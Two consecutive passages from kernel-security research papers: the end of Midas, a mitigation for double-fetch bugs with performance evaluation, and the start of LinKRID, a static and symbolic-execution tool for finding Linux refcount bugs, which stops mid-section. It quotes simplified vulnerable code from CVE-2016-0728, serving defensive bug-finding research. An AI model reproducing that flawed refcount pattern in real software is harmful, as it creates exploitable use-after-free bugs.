overhead (3.7%) for compute-intensive, parallel workloads.

Phoronix Test Suite. The Phoronix Test Suite (PTS) [15]
includes a large set (> 500) of open-source benchmarks, of
which we have chosen a range of benchmarks suitable for eval-
uating both desktop and server performance. We bias the selec-
tion to benchmarks that require (heavy) kernel activity to test
the overhead of Midas’ instrumentation. A sole benchmark,
OpenSSL, is included to represent single-threaded, compute-
bound workloads for which kernel performance is less rele-
vant. The benchmarks are also varied, ranging from single-
threaded (Pybench) to multi-threaded, multi-process work-
loads (Apache). At the extreme, we have an IPC benchmark
transferring tiny, 128-byte buffers between processes which
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Figure 9: Midas’ performance on microbenchmarks, NPB and PTS benchmarks relative to the baseline kernel.

spends all of its time in syscalls and whose performance is
entirely dependent on kernel IPC performance.

We plot Midas’ performance relative to the baseline kernel
on these benchmarks in Figure 9, roughly ordering workloads
in increasing order of syscall dependence from left to right.
For benchmarks for which PTS reports runtime, we compute
the inverse of the runtime as performance. Benchmarks with
low syscall frequency such as OpenSSL, Pybench and Git
have correspondingly low dependence on kernel performance.
Accordingly, these benchmarks see a negligible overhead
when running on our prototype kernel. The benchmark titled
“Linux” represents compilation of the Linux kernel. While
compilation is mostly compute bound, compiling the Linux
kernel requires accessing a large number of source files, re-
sulting in the creation of a large number of compiler processes
each of which read and create files. Midas experiences a small,
but non-negligible overhead of 3.5% on this workload. Redis
requires syscalls for receiving and replying to requests, but
processes its transaction entirely in-memory. Our evaluation
prototype achieves practically identical results as the baseline,
highlighting the final prototype’s competitive performance.
The webservers, Apache and Nginx require network and file-
system I/O, and rely heavily on syscall performance. We see
that Nginx, which is a higher-performance webserver, sees a
larger overhead. IPC, which implements 128 byte transfers
between two processes over a TCP connection, is almost en-
tirely bound by kernel performance and sees a performance
overhead of 3.4% on Midas.

Our prototype Midas kernel benefits significantly from ex-
empting particular, proven-safe syscalls from instrumentation.
While we exclude write-like syscalls from Midas because
they are not vulnerable to double-fetch bugs, we also evalu-

ated the performance cost of an unoptimized implementation
(Midas+write) which also instruments these syscalls. To high-
light the worst-case performance of the unoptimized imple-
mentation, we evaluate the performance of the IPC benchmark
on Midas+write due to its high frequency of write syscalls.
With Midas+write, the performance of the IPC benchmark
falls to 12.6% of the baseline, a further degradation of 84%
compared to Midas, showing that developer effort towards
properly exempting frequently called safe syscalls from Midas
protections is crucial towards for implementations to maintain
competitive performance compared to the baseline.

Memory overhead. Our prototype incurs memory over-
head due to metadata, tracking page snapshots and copies.
At any instant, the memory overhead mainly depends on the
number of executing syscalls (limited by the core count) and
the number of page copies for these syscalls. On average,
for every 1000 syscalls issued by the PTS benchmarks, our
prototype created 236 snapshots (32B each) and 54 copies
(4KB each). We can see that the occurrence of copies is low,
resulting in negligible memory overhead.

7.3 Overhead breakdown

In this section, we explore the sources of Midas’ overhead
by analyzing perf traces for three workloads: thread creation
from OSBench, linux compilation from PTS and Nginx. We
aim to classify overheads into the various kernel function
we instrumented: i) user copy in transfer function, ii) page
duplication on page fault, iii) metadata cleanup on syscall
end, and iv) filesystem operations.

To estimate the time spent in each function, we create
FlameGraphs for each workload [21] using samples of pro-
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Figure 10: Classification of overheads for various benchmarks
due to Midas.

cessor state, including the call stack, collected over 30 second
periods by perf record. After identifying one binary for the
workload from the FlameGraph, we estimate the overhead for
a function as the difference in execution time attributed to that
function between the baseline and Midas systems. The total
overhead is estimated from the throughput figures obtained
from Section 7.2.

Figure 10 shows the breakdown of overheads for three
workloads. As expected, metadata tracking and duplication
causes most overheads for the user copy and fault handling
functions respectively. The results for the Linux build break-
down differs from the other workloads in the large portion of
the unaccounted overhead (labelled “Other”). This anomaly
stems for the fact that Linux’s compilation runs a large num-
ber (1000s) of processes, of which the compiler accounts for
less than 50% of the total execution time. The reported break-
down accounts for overheads on the compiler, but not all the
other processes.

Both page faults and user copies cause state changes for
a page, and thereby change the page’s access permissions in
the PTE. The resulting TLB flush accounts for 0.3%, 0% and
1.1% overhead for thread creation, compilation, and Nginx
respectively. The load generator bombardier used for load-
ing Nginx, however, sees a much larger overhead for TLB
flushing, accounting for 21% of its execution time.

7.4 Case study: Nginx
To better understand Midas’ behavior under varying syscall
rates and different core configurations, we study Nginx’s (ver-
sion 1.18) throughput while varying payload sizes and differ-
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Figure 11: Request rates and throughput served by the Nginx
server for static pages.

ent worker counts. Each worker is single threaded and uses
one core. The server is loaded with requests from a separate
machine running a load generater (bombardier) with 100 con-
current connections (chosen to maximize throughput) over a
1Gbps link. The clients send http requests for files ranging
between 20B and 10000B.

In Figure 11, we plot the request rate and throughput for
Nginx servers running with one and eight workers. For all
configurations, we can see that the rate of requests served
remains almost constant while increasing payload size until
the network link reaches saturation. Under a saturated net-
work, the request rates for Midas match that of the baseline
system. With a single worker, Midas’ overheads cause a con-
sistent 13–14% overhead on the request rate for small packet
sizes. However, we see that Midas has practically no overhead
when serving requests with 8 workers even when packet sizes
are too small to saturate the network link. In this case, both
Midas and the baseline system are limited by the scalability
of the Linux networking stack.

8 Related Work

Early work on double-fetch bugs relied primarily on manual
code analysis to identify bugs in kernel code [38, 48] or in
syscall wrappers [42]. Realizing the limited scalability of this
approach, particularly when applied to large codebases such
as the Linux kernel, subsequent work focussed on automated
techniques based on static or dynamic analysis techniques,
and on leveraging hardware features to mitigate such bugs.
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Static analysis. Static analysis proposals use code analysis
to find and fix double fetch vulnerabilities. DFTinker [29]
improves the coverage of pattern matching rules for de-
tecting double fetches in code as initially proposed by
Wang et al. [39]. Deadline [46] and DFTracker [41] further
generalize the analysis by leveraging symbolic execution.

However, static analysis is severely limited by its require-
ment for source code, which eliminates possibility of protect-
ing of analyzing binary-only modules for which code is not
available. In contrast, Midas can also protect such modules
since well-behaving module use the kernel transfer functions
to access user memory. Symbolic execution solves the gen-
erality problem of pattern-matching approaches but has its
limitations (path explosion, function pointers, modelling nu-
merous library functions, etc.). Deadline [46] specifically
requires the additional assumption that pointer syscall argu-
ment do not alias, an assumption that can wilfully be violated
by our adversarial model.

Additionally, the protection allowed by static analysis meth-
ods are limited: only the bugs which are detected can be fixed,
and static analyses are necessarily incomplete. In contrast, Mi-
das mitigates all TOCTTOU vulnerabilities. Further, specific
cases of double fetches, such as in syscall wrappers cannot be
fixed in code, and require a versioning system such as Midas
in order to enable deep argument inspection.

Dynamic Analysis. Dynamic analysis techniques leverage
runtime information and values to detect double fetches, and
are notable in their ability to find bugs in binaries.

To enable the search for various classes of bugs, Google
Project Zero’s Bochspwn project [23] introduced a compre-
hensive emulator for x86 with callbacks to allow tracing of
kernel operations, including memory accesses. When paired
with a syscall fuzzer, Bochspwn successfully detected and
reported double fetches from these access logs, but suffered
from a high rate of false positives. Another major shortcoming
of Bochspwn was its low execution throughput of 40-80MIPS
which limited its ability to explore code paths. Xenpwn [44]
extended Bochspwn’s trace-driven approach to fuzz hyper-
visors for double-fetch bugs. Xenpwn found three double
fetches in the Xen hypervisor, but no critical vulnerabilities
in KVM.

DECAF [34] inverts Midas’ adversarial model, leveraging
concurrent access to syscall parameters from userspace to
detect kernel accesses via a cache side-channel. DECAF is
strongly reliant on CPU-specific behavior, which is sensitive
to CPU parameters, subject to changes from generation to
generation (or even from core to core) and prone to noise and
false sharing. Following the discovery of transient-execution
attacks [25], proposals such as InvisiSpec [24,47] have tried to
prevent information leakage via cache side-channels. Future
generations might entirely close this channel, or introduce
constraints that limits this information flow.

Dynamic analysis techniques can only detect vulnerabili-
ties on executed code paths, and therefore typically rely on a

fuzzer to extensively cover kernel code. However, fuzzers are
inherently incomplete, limiting the ability of dynamic analysis
to find bugs.

Mitigations. Previous attempts [29,34] to eliminate double
fetch vulnerabilities rely on Intel TSX, a hardware transac-
tional memory implementation, to detect malicious writes to
data read by the kernel. A defense based on TSX improves
upon Midas by reducing the scope for false sharing from a
page size to a cache size. However, TSX suffers from major
limitations which restrict its useability for general kernel im-
plementations. Of note, TSX requires that the data working
set for the critical section experiences no L1 cache evictions,
even due to contention from a simultaneously-multithreaded
(hyperthreading) core. Further, TSX is limited to processors
from a specific manufacturer (Intel), leaving the vast majority
of computing devices (mobile, IoT, AMD processors) unpro-
tected.

9 Conclusion

Midas mitigates double-fetch bugs in system calls and pro-
tects the operating system kernel by enforcing the invariant:
through a syscall’s lifetime, every read to a userspace object
will return the same value. Our Midas implementation creates
on-demand snapshots and copies of pages that are read and
merges any writes through the execution of the system call.
Our mitigation protects the core kernel, as well as drivers
by carefully instrumenting functions that interact with the
process address space. While our implementation focuses on
Linux for x86-64, our concept is generic and empowers other
kernels to protect themselves against notoriously hard-to-find
and easy-to-exploit double fetch bugs.

The performance evaluation of our prototype implementa-
tion is promising. Compute-bound benchmarks have negligi-
ble overhead and even syscall-intensive benchmarks exhibit
low overhead. On one hand, Midas mitigates all double fetch
bugs in the kernel and gives developers a tool to locate such
bugs. On the other hand, Midas sets the foundation for effi-
cient, stateful system call filtering and validation. We have
released the source code of our prototype as open-source at
https://hexhive.epfl.ch/midas/.
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Abstract

Linux kernel employs reference counters, which record the
number of references to a shared kernel object, to track its
lifecycle and prevent memory errors like use-after-free. How-
ever, the usage of reference counters can be tricky and often
error-prone, especially considering unique kernel conventions
of managing reference counters (e.g., external vs. internal
reference counters). In this paper, we aim to automatically
discover incorrect usage of reference counters, overcoming
two key challenges: (1) scalability and (2) the aforementioned
unique kernel conventions. Specifically, we develop a tiered
program analysis based solution to efficiently and precisely
check the imbalances between the change in the actual num-
ber of references and the corresponding reference counter. We
apply our tool to the 4.14.0 kernel (with allyesconfig) and find
118 bugs, out of which 87 are new. The result shows our tool
is scalable and effective.

1 Introduction

Vulnerabilities in operating system (OS) kernels can lead
to serious attacks (e.g., privilege escalation and information
leakage) that compromise the confidentiality and integrity of
the foundation that applications rely on. Memory manage-
ment errors such as use-after-free (UAF) and double-free are
among the most severe kernel vulnerabilities, which often
allow attackers to perform arbitrary read/write and code exe-
cution [35]. Therefore, they have drawn significant attentions
from the security community to harden the kernel against
these vulnerabilities.

*Key Laboratory of Network Assessment Technology, CAS
†Beijing Key Laboratory of Network Security and Protection

As one of most complex system software written in unsafe
languages, the Linux kernel provides many primitives to avoid
memory management errors. One of these primitives that
aims to prevent memory object from being prematurely freed
is reference counter (referred to as refcount hereinafter). A
refcount records the number of references (i.e., pointers in the
C language) to a given memory object. A positive refcount
means a memory object could be accessed in the future, hence
it should not be freed. When a refcount is decremented to zero,
the kernel knows that the associated memory object will no
longer be accessed thus is safe to be freed. In the Linux kernel,
refcounts are widely used for resource management in every
aspect, from user-data, files, memory allocations, to hardware
resources [28]. Refcount mechanisms in the Linux kernel
typically employ a simple data structure called struct kref
which encapsulates an integer as the real counter, and provide
APIs (e.g., kref_get and kref_put) for manipulating the
counter [13].

Since the refcount mechanisms are not automatic, Linux
kernel developers are required to ensure that all operations
on refcounts are performed as intended; in other words, the
refcount and corresponding reference changes should be con-
sistent. Unfortunately, as many other manually enforced secu-
rity invariants, they are prone to errors. Based on our study,
the most common bugs related to refcounts are (1) failure to
increase the counter when a new reference is created, and (2)
failure to decrement the counter when a reference has been re-
moved. The first case can easily lead to use-after-free (UAF),
which is usually exploitable (e.g., CVE-2016-4557 [23]); and
the second case usually results in memory leaks. However, if
the refcount can be incremented repeatedly and indefinitely
(causing an overflow of the refcount), it can also be exploited
to trigger UAF: CVE-2016-0728 [22] is an example of such
vulnerabilities. For this reason, the Linux kernel has adopted
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a hardening against refcount overflow [14].
In this work, we aim to discover these refcount-related er-

rors using program analysis techniques. There are two major
challenges in discovering such erroneous refcount usage pat-
terns. First, it fundamentally requires a path-sensitive analysis
to check whether a refcount increment/decrement matches
the addition/removal of new references along a feasible path.
However, it is well-known that path-sensitive static analysis
is extremely difficult to scale and dynamic approaches such
as fuzzing can cover only a limited number of paths. Second,
refcount uses in the Linux kernel have special conventions
that exhibit benign violations of the above consistency rule.
Therefore, without capturing such benign conventions, a tool
will likely produce a large number of false positives and be-
come impractical to use. As an example, the Linux kernel has
the notion of internal references that do not actually need to
be refcounted [1] (see §2.2 for more details).

As of now, no research has adequately addressed both chal-
lenges. Mao et al. [20] proposed using inconsistent path pair
(IPP) to find refcount bugs in the Linux kernel: if two code
paths return the same error code but manipulate the refcount
differently (e.g., have different number of get or put), then
one of them is likely to have a bug. This specific pattern
encoded in the analysis is a less precise (considering only ref-
count changes without reference changes) or weaker version
of the consistency rule we mentioned earlier; therefore, it can
only uncover a subset of refcount bugs. For instance, refcount
bugs can happen along paths that return different error code
(e.g., Figure 3); conversely, all paths that return the same error
code might be buggy but consistent. Some works do conduct
path-sensitive analyses but only within a limited scope. For
example, to find refcount bugs in Python extensions written in
C, Li and Tan [15] adopted an escape rule that requires, in any
function and any of its paths, the change of a refcount must be
equal to the number of references escaped from the function.
Since the analysis is tailored towards the native C used in
Python modules, it relies on well-defined interfaces (between
Python and C) to track refcount changes and the analysis
scope. In addition, it employs the notion of “shallow aliasing”
which can easily miss aliases (which is especially challenging
to track in the Linux kernel), leading to imprecision analysis
results. Finally, none of the related work addresses the second
challenge of special Linux conventions of refcount usage;
therefore, they can induce many false positives.

Motivated by the above deficiencies, we develop
LinKRID (Linux Kernel Refcount Imbalance Detector), a
scalable and practical refcount bug discovery tool for the
Linux kernel, that addresses the aforementioned challenges.
To scale up the path-sensitive analysis, we apply a tiered anal-
ysis — starting with a lightweight static analysis to identify a
constrained scope of a refcounted object, through which we
can then analyze in detail the corresponding refcount changes
and global reference changes using under-constrained sym-
bolic execution. We also codify a set of conventions currently

specified in natural language (e.g., documentations) to filter
seemingly erroneous but benign usage patterns. To our knowl-
edge, LinKRID is the first tool that attempts to fill the void of
addressing both the imprecise modeling and Linux-specific re-
fcount usage conventions, packaged in a scalable analysis tool
representing an important step towards automating the discov-
ery of Linux kernel refcount bugs. We applied LinKRID to
the 4.14.0 kernel, which includes all drivers, file systems, and
other peripheral modules that can be compiled under the x86
architecture. LinKRID successfully re-discovered all refcount
bugs reported in [20], and further found 118 bugs, within
which 87 are new.

In summary, this paper makes the following key contribu-
tions:

• We identified the limitations of prior static analyses for dis-
covering refcount bugs, and proposed more general patterns
that reflect the root causes of refcount bugs.

• We propose a combination of static analysis and under-
constrained symbolic execution to track the dynamic ref-
erence and refcount changes. We show this approach is
precise and efficient.

• We developed a practical refcount bug finding tool and
found 87 new bugs in the v4.14 Linux kernel. We plan to
open source the tool entirely to facilitate the reproduction
of the results and future research.

2 Refcount Bugs in Linux

The purpose of refcount mechanisms is to manage the lifecy-
cle of shared memory objects [28]. A refcount is, in general,
a counter that records how many (live) references/pointers
can be used/dereferenced to access the shared object (in the
future). Note that such references/pointers do not have to
point to the beginning of the object, as long as they point
to the memory space occupied by the object, they should be
refcounted.

Each time, a new live reference to an object is created, the
corresponding refcount should be increased by 1. When the
lifecycle of a reference ends (i.e., will no long be used to
access the object), the refcount should be decreased by 1. Ref-
count can be automatically maintained through programming
language (e.g., Python) or containers (e.g., std::shared_-
ptr in C++). In the Linux kernel, however, refcounts are man-
ually managed by developers, which makes them error-prone.
Developers must guarantee the refcount consistency (i.e., ref-
count = #(live reference)) in all execution paths, including all
error handling paths.

2.1 Bugs due to Complex Paths

Figure 1 is a UAF example (CVE-2016-0728 [22]) in the
Linux kernel caused by refcount bug in an error handling path.
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1 long join_session_keyring(const char *name) {
2 struct cred *new;
3 struct key *keyring;
4 long ret;
5 ...
6 keyring = find_keyring_by_name(...);
7 if (PTR_ERR(keyring) == -ENOKEY) {
8 keyring = keyring_alloc(...);
9 if (IS_ERR(keyring)) {

10 ret = PTR_ERR(keyring);
11 goto error2;
12 }
13 } else if (IS_ERR(keyring)) {
14 ret = PTR_ERR(keyring);
15 goto error2;
16 } else if (keyring == new->session_keyring) {
17 ret = 0;
18 goto error2;
19 }
20 ...
21 install_session_keyring_to_cred(new, keyring);
22 ret = keyring->serial;
23 key_put(keyring);
24 return ret;
25 error2:
26 return ret;
27 }
28 struct key *find_keyring_by_name(...) {
29 struct key *keyring;
30 // if name match
31 if (atomic_inc_not_zero(&keyring->usage))
32 return keyring;
33 return ERR_PTR(-ENOKEY);
34 }

Figure 1: Simplified code snippet of CVE-2016-0728 [25], a
missing refcount decrement bug.

In function join_session_keyring(), if the kernel success-
fully found the corresponding keyring, the object keyring’s
refcount is increased by atomic_inc_not_zero() at line 31;
otherwise it returns an error code. A special case/path, how-
ever, is when the look up is successful but the keyring is the
same as the current one (line 16). One the return path, the
refcount is not decremented (e.g., line 23). This violates the
refcount consistency of keyring and can lead to UAF as it
can be triggered multiple times to overflow the keyring’s
refcount (at that time, before the overflow hardening is intro-
duced). Note that this refcount bug can only be triggered on
this path. On other paths, the refcount changes and reference
changes are balanced, as the reference keyring is a local
variable and will be automatically released once the function
returns; and the refcount is not incremented on other error
returning paths.

This example illustrates a few important points: (1) We
need a more fundamental invariant like refcount consistency
within a single path to reliably detect all refcount bugs. Prior
work RID [20] detects inconsistencies across paths: if there
are two paths where the refcount changes are different but
the return values are the same, it usually indicates a refcount
bug. RID is unable to detect the example bug because the
erroneous path is the only path that returns 0. (2) We need a

1 static void amp_mgr_destroy(struct kref *kref) {
2 struct amp_mgr *mgr = container_of(kref, struct

amp_mgr, kref);
3 mutex_lock(&amp_mgr_list_lock);
4 list_del(&mgr->list);
5 mutex_unlock(&amp_mgr_list_lock);
6 kfree(mgr);
7 }
8 int amp_mgr_put(struct amp_mgr *mgr) {
9 return kref_put(&mgr->kref,

&amp_mgr_destroy);
10 }
11

Figure 2: An example of internal reference.

path-sensitive analysis to precisely identify the problematic
path, which leads to two decrements of a refcount but only one
actual reference removal. If we only perform a flow-sensitive
analysis and consider what “may” happen (instead of what is
feasible), then we will report false alarms for error other paths
that also go to label error2. (3) It is necessary to conduct
an inter-procedural analysis to reduce false positives. In the
example, refcount manipulation and reference acquisition/re-
lease happen in different functions, intra-procedural analysis
like [7] would result in many false alarms.

2.2 Internal References
Besides the sheer complexity, special design patterns of ref-
counts in the Linux kernel introduce additional challenges in
detecting refcount bugs. In particular, there are two distinct
types of references to a kernel object [1]: external reference
and internal reference. An external reference (or strong refer-
ence) is a reference we have discussed above: its purpose is
to access the object. Therefore, an external reference has to
strictly abide the reference consistency invariant.

On the contrary, an internal reference (or weak reference)
is not refcounted. Unlike external references, the interpreta-
tion of internal references is completely subject to the kernel
subsystem. The most common type of internal references are
pointers inside a software cache, such as a radix tree, a double-
linked list, and a hash map. A kernel thread can lookup the
corresponding object (e.g., by name), then derive an exter-
nal reference from the internal reference stored in the cache.
Such an internal reference does not imply the corresponding
object is “in use,” it simply means the object “exists.” For
this reason, they are not refcounted. To prevent memory man-
agement errors like UAF, such internal references should be
automatically released when the last external reference is re-
leased (i.e., when refcount reaches zero). Figure 2 shows an
example, when mgr->kref reaches zero, kref_put would
call amp_mgr_destroy to remove the internal reference to
mgr. Without understanding these special patterns, we would
face many false positives because internal references clearly
violates the refcount consistency invariant.

Unfortunately, the flexibility of internal references also
makes it hard to reason about their correctness. For example,
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1 func_1(){ // local reference scope begins
2 p = kmalloc(sizeof( *p ));
3 refcnt_init(p); // init refcnt = 1
4 list_insert(p, list); // save to heap, escaped

reference += 1
5 } // local reference scope ends
6 // #escape = 1, #release = 0, ∆refcnt = 1.
7 // ∆refcnt == (#escape - #release) == 1. correct!
8
9 func_2(){ // local reference scope begins

10 p = list_lookup("name", list);
11 refcnt_get(p); // refcnt += 1
12 use(p);
13 refcnt_put(p); // refcnt -= 1
14 } // local reference scope ends
15 // #escape = 0, #release = 0, ∆refcnt = 0.
16 // ∆refcnt == (#escape - #release) == 0. correct!
17
18 func_3(){ // local reference scope begins
19 p = list_lookup("name", list);
20 refcnt_get(p); // refcnt += 1
21 insert(p, list2); // escaped reference += 1
22 } // local reference scope ends
23 // #escape = 1, #release = 0, ∆refcnt = 1.
24 // ∆refcnt == (#escape - #release) == 1. correct!
25
26 func_4(){ // local reference scope begins
27 p = list_lookup("name", list);
28 list_remove(p, list); // released reference += 1
29 refcnt_put(p); // refcnt -= 1
30 } // local reference scope ends
31 // #escape = 0, #release = 1, ∆refcnt = -1.
32 // ∆refcnt == (#escape - #release) == -1. correct!

Figure 3: Four types of local reference scopes.

another typical type of internal references are back-pointers.
The network namespace object struct net is such an ex-
ample. The net object has a refcount and many network
related objects contain a back-pointer to the network names-
pace they reside in. However, most of these pointers are not
refcounted. The reason is that when a network namespace is
torn down, its destructor will automatically tear down those
objects reside in the namespace. In other words, those internal
references will be automatically released when the object they
refer to is freed. But there are exceptions, like the Point-to-
Point Protocol (PPP) channels, which can reside in a different
namespace. Therefore, such back-pointers will no longer be
internal and should be refcounted. When developers simply
follow the common pattern in other network subsystems, they
introduced an UAF vulnerability (CVE-2016-4805 [24]).

3 Methodology

3.1 Problem Definition

Ideally, we would like to use the invariant “refcount == #
of live reference” throughout the lifetime of a refcounted
object to detect refcount bugs. However, due to the complex-
ity of the kernel code, it is intractable to precisely track live

references across different system calls and possibly across
different threads with static analysis. We address this problem
by tracking the changes (∆) to the refcount and live references
within a limited local references scope [15] instead. Our key
observations are: (1) references stored in globally-visible ob-
jects (global variables or heap objects reachable from global
variables), or simply global references, can be considered as
always live because they can be accessed by other syscalls
or threads at any arbitrary time; and (2) when a syscall or
thread needs to access refcounted objects, the kernel code
(at least at the LLVM IR level) will always load global ref-
erences into local references. Therefore, by maintaining the
local invariant “∆refcount == ∆#(live reference)” (where ∆

denotes the changes) within the local reference scope, one
could also guarantee the global invariant “refcount == # of
live reference”.

Unfortunately, even after reducing the analysis scope to
local ones, if we simply define a refcount bug as a violation
of the local invariant at any program location, we will face
too many false positives due to borrowed and stolen refer-
ences [15]. For example, in Figure 1, a reference is borrowed
when keyring is passing to install_session_keyring_-
to_cred() at line 21. However, since the corresponding ref-
count has already been incremented previously at line 31, i.e.,
the developer has already indicated that the corresponding
object is “in use”, it is safe and unnecessary to increment
the refcount again. Therefore, to eliminate the false positives
caused by borrowed and stolen references, we only perform
the invariant check at the end of each local analysis scope.

Unlike other software like the Python extensions written in
C [15], the Linux kernel does not have well-defined interfaces
that marks the beginning and the end of a local reference
scope. We solve this problem by dividing a global reference’s
lifecycle into four common types (Figure 3):

• Creation: from allocation (e.g., kmalloc()) site to local
reference(s) to global reference(s) (i.e., func_1);

• Usage: from global reference to local reference(s) to usage
(i.e., func_2);

• Escape: from global reference to local reference(s) to an-
other global reference (i.e., func_3);

• Release: from global reference to local reference(s) to the
removal of the global reference (func_4).

Based on this modeling, we define the beginning of a local
references scope when a local reference is derived from a
global reference to a refcounted object. Correspondingly, the
local reference scope ends when all local references to the
refcounted object are released. During this analysis scope,
if the reference flows into a global/heap object, we consider
the reference as escaped to the global scope. Similarly, if a
global reference has been removed (e.g., being overwritten by
a NULL pointer), we consider the reference as being released.
With these definitions, we define refcount bugs are follows.
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DEFINITION 1 Refcount bugs. There is a refcount bug if
at the end of a local reference scope, the refcount changes (i.e.,
∆refcount) are not the same as the changes to globally visible
references (i.e., ∆#(reference) == #escaped - #released).

Figure 3 showcases the four different types of local ref-
erence scope and how the refcount changes invariant is
checked. Note that while our approach is conceptually similar
to Pungi’s [15], analyzing the Linux kernel requires a vastly
different and more comprehensive solution.

3.2 Overview

Figure 4 shows an overview of LinKRID and its whole
workflow, which involves three phases: a static analysis, a
summary-based under-constrained symbolic execution, and
the bug detector.

In the first phase of static analysis, we perform two sub-
analyses. (1) We need to identify refcounted heap objects and
the APIs that manipulate the refcounts. In our static analysis,
we take into consideration the multiple layers of abstractions
(§4.1). (2) We need to identify the local reference scope to
allow the symbolic execution to work on a confined code. To
do so, LinKRID constructs flow chains, which correspond
to the local reference scopes, to facilitate the checks on the
safety invariant (§4.2).

Once we have identified the analysis scope, the next chal-
lenge is how to perform the check described in Definition 1.
In the second phase, we show how to customize symbolic
execution to scale the analysis to a local reference scope. As
shown in §2.1, a path-sensitive and context-sensitive analysis
is vital to track refcount and reference changes precisely. Two
common choices are dynamic analysis, which has a coverage
problem; and symbolic execution, which needs to start from
fixed entry points like syscall entries or the kernel boot entry
and has a path explosion problem. In this work, we opt for
under-constrained symbolic execution [8], which takes an ar-
bitrary function and runs it without initializing any of its data
structures or doing environmental modeling (§5).

Finally, in the last phase, we need to filter out false positives
caused by internal references (§2.2). We solve this problem
by extracting Linux-specific conventions that represent the
usage of internal references (§6).

4 Static Analysis

Our static analysis takes kernel code in LLVM IR (interme-
diate representation) as inputs and spots all local references
to refcounted objects and computes their lifecycles. It first
collects basic refcount information (i.e., refcounted structures
and refcount wrappers), then leverages the retrieved informa-
tion to construct the data-flow for local reference (referred
to as flow chains hereinafter). Flow chains encode all local
references (to refcounted objects) and their lifecycles, from

the time when the reference is created to the time when it is
no longer accessible.

4.1 Extract Refcount Information

One of the contributions of our methodology is a system-
atic recovery of refcount-related structures and functions in
the Linux kernel. We collect two types of refcount informa-
tion in all subsystems of the kernel: (1) refcounted structures
which embed a reference counter, and (2) refcount wrappers
which initialize, increase, and decrease reference counts for
refcounted structures.

Extracting refcount structures. Despite the fact that the
Linux kernel is mostly written in C, it makes broad use of
embedded structures to implement kernel objects [2] in a
manner similar to object-oriented programming. We leverage
this property to identify refcounted structures. This means
that refcounted objects can show up with different levels of
abstractions. For example, driver-specific objects are usually
refcounted through an embedded kobject structure, which
in turn maintains the refcount through an embedded kref
structure. However, kref is also a wrapper over struct
refcount_t, which is a wrapper over atomic_t. Developers
are free to use any abstraction they see fit by embedding any
of these structures (and even introduce custom ones). Based
on this, we collect refcounted structures by checking whether
a data structure has embedded known refcount structures like
kref and refcount_t.

Extracting refcount wrappers. Next, we collect refcount
manipulation APIs (or wrappers) for refcounted structures.
Typical refcount wrappers follow the get()/put() naming
conventions to update the refcount of refcounted structures.
Similar to the refcounted structures, refcount manipulation
could be done via different levels of abstractions such as
kobject_get/put, kref_get/put, refcount_inc/dec, or
directly using atomic_inc/dec. Developers are free to use
any abstraction they see fit and can even introduce their own
custom wrappers.

We manually collected 16 lower level refcount manip-
ulation APIs that are generic in Linux. To identify addi-
tional wrappers on top of these low level ones, we propose a
heuristic-based approach based on following features: (1) it
invokes a known refcount wrapper once, (2) it transfers ref-
erence by function arguments or the return value, and (3) it
does not change the number of global references. Using these
features, we find 685 custom refcount wrappers in the 4.14
kernel. We further divide them into two groups, one for re-
fcount increment (i.e., get-like), and the other for refcount
decrement (i.e., put-like).
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Figure 4: Overview of LinKRID’s architecture and its workflow

4.2 Build Flow Chains
Once we have identified refcounted structures and refcount
wrappers, we then construct flow chains for local references.
As defined in §3, a local reference scope starts when a local
reference receives the reference to a refcounted object from
a heap allocator or a global reference, and ends when all the
local references are released/dead. The challenge to identify
the scope is that a local reference could expand its life-scope
via data-flow, i.e., by passing the reference to other local
variables, function arguments, return value. We use flown
chains to “union” these overlapping life-scopes and generate
the final analysis scope for our refcount checker.

A flow chain is a call graph containing all functions that
need to be analyzed for a specific local reference. These func-
tions are connected by inter-procedural data-flow of the lo-
cal reference. It is constructed in two steps. In the first step,
LinKRID performs a flow-sensitive intra-procedural data-flow
analysis to identify three types of function-to-function (i.e.,
inter-procedural) relations regarding local references.

DEFINITION 2 Return-Return relation. Let ( fi, f j) be a
pair of caller and callee functions, we say there is a Return-
Return relation fi

lr−→ f j on a local reference lr, if lr is the
return variable of fi and is also returned by f j. Figure 5 (a)
depicts this relation.

DEFINITION 3 Call-Call relation. Let ( fi, f j) be a pair of
caller and callee functions, we say there is a Call-Call relation
fi

lr−→ f j on a local reference lr, if lr is both an argument of
function fi and f j. Such relation is showed in Figure 5 (b).

DEFINITION 4 Call-Return relation. Let ( fi, f j) be a pair
of caller and callee functions, we say there is a Call-Return
relation fi

lr−→ f j on a local reference lr, if lr is passed to
f j as a function argument and is live (e.g., be used as return

value) after f j returns. Figure 5 (c) displays the Call-Return
relation.

After collecting the all the three types of inter-procedural
relations for each specific local reference, we chain functions
involved in these relationships together to derive the flow
chain for a given local reference, representing its scope. As an
example, Figure 6 (I) shows a set of functions call relations
concerning four different local references (the complete code
is in Figure 11). Two start in tunnel_attach_1() and two
start in tunnel_attach_2(). Therefore, we construct four
flow chains in Figure 6 (II) representing the scopes of the
four local references. Once we constructed the flow chains,
symbolic execution can take them and perform a much more
detailed path-sensitive analysis for bug finding.

5 Symbolic Execution

After static analysis, we have the refcount structures, wrap-
pers, and flow chains. At a high-level, we have all the neces-
sary building blocks to start an under-constrained symbolic
execution [27] to perform a path-sensitive analysis and dis-
cover refcount bugs.

5.1 Tracking Changes to References and Ref-
count

As mentioned in §3, we detect refcount bugs by checking the
security invariant “∆refcount == ∆#(reference)”. To do so,
we need to precisely track the changes to the number of live
references and refcount. Given a flow chain, which focuses
on a specific local reference, this subsection illustrates how
LinKRID traces changes of reference and refcount during
analysis.
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struct obj *FuncA(...) {

    … 

    struct obj* myobj = FuncB(…);

    … 

    return myobj;

}

struct obj *FuncB(...) {

    … 

    struct obj* myobj = malloc();

    … 

    return myobj;

}

void FuncA(…, struct obj *myobj, …) {

    … 

    FuncB(…, myobj, …);

    … 

}

void FuncB(…, struct obj *myobj, …) {

    /* work with myobj */

    … 

}

void FuncB(…, struct obj *myobj, …) {

    /* work with myobj */

    … 

}

struct obj *FuncA(...) {

    … 

    struct obj* myobj = …;

    FuncB(…, myobj, …);

    … 

    return myobj;

}

Data Flow:Control Flow:

(a)   Return-Return (b)  Call-Call (c)   Call-Return

Figure 5: The example of function relations
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Figure 6: The flow chains and how to do symbolic execution on them.

5.1.1 Tracking Reference Changes

We can compute the changes to the number of live references
as: ∆#(reference) = #escaped - #released. To be more clear,
the right-hand side of the equation denotes two types of opera-
tions: local reference escape and global reference release. The
former creates new global references and the latter removes
globally references.

A reference escapes the local scope when it becomes ac-
cessible to other syscalls/threads. This happens when a local
reference is copied to a globally-visible variable (e.g., a field
of a heap object). Similarly, a reference is released when it
is no longer accessible by other syscalls/threads. This could
